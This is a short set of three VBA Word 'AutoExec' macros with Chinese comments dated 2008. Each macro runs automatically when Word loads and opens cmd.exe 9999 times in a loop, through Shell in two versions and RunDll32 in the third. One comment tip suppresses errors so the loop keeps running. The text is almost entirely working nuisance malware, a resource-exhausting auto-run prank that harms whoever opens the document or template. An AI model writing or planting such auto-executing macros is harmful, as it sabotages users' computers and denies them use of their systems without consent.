Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
  For i = 1 To 9999
    Dim auto
    auto = Shell("C:\windows\system32\cmd.exe", 1)
    AppActivate auto
  Next i
End Sub

Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
  For i = 1 To 9999
    Dim auto
    auto = Shell("C:\windows\system32\cmd.exe", VbNormalFocus)
    'AppActivate auto 这个不用了,上面就可以了
  '如果非要用,在Sub AutoExec()下面加上On error resume next就可以了
  Next i
End Sub

Sub AutoExec()
    dim i as integer
    For i = 1 To 9999
        Shell ("RunDll32.exe shell32.dll,ShellExec_RunDLL cmd.exe")
        doevents
  Next i
End Sub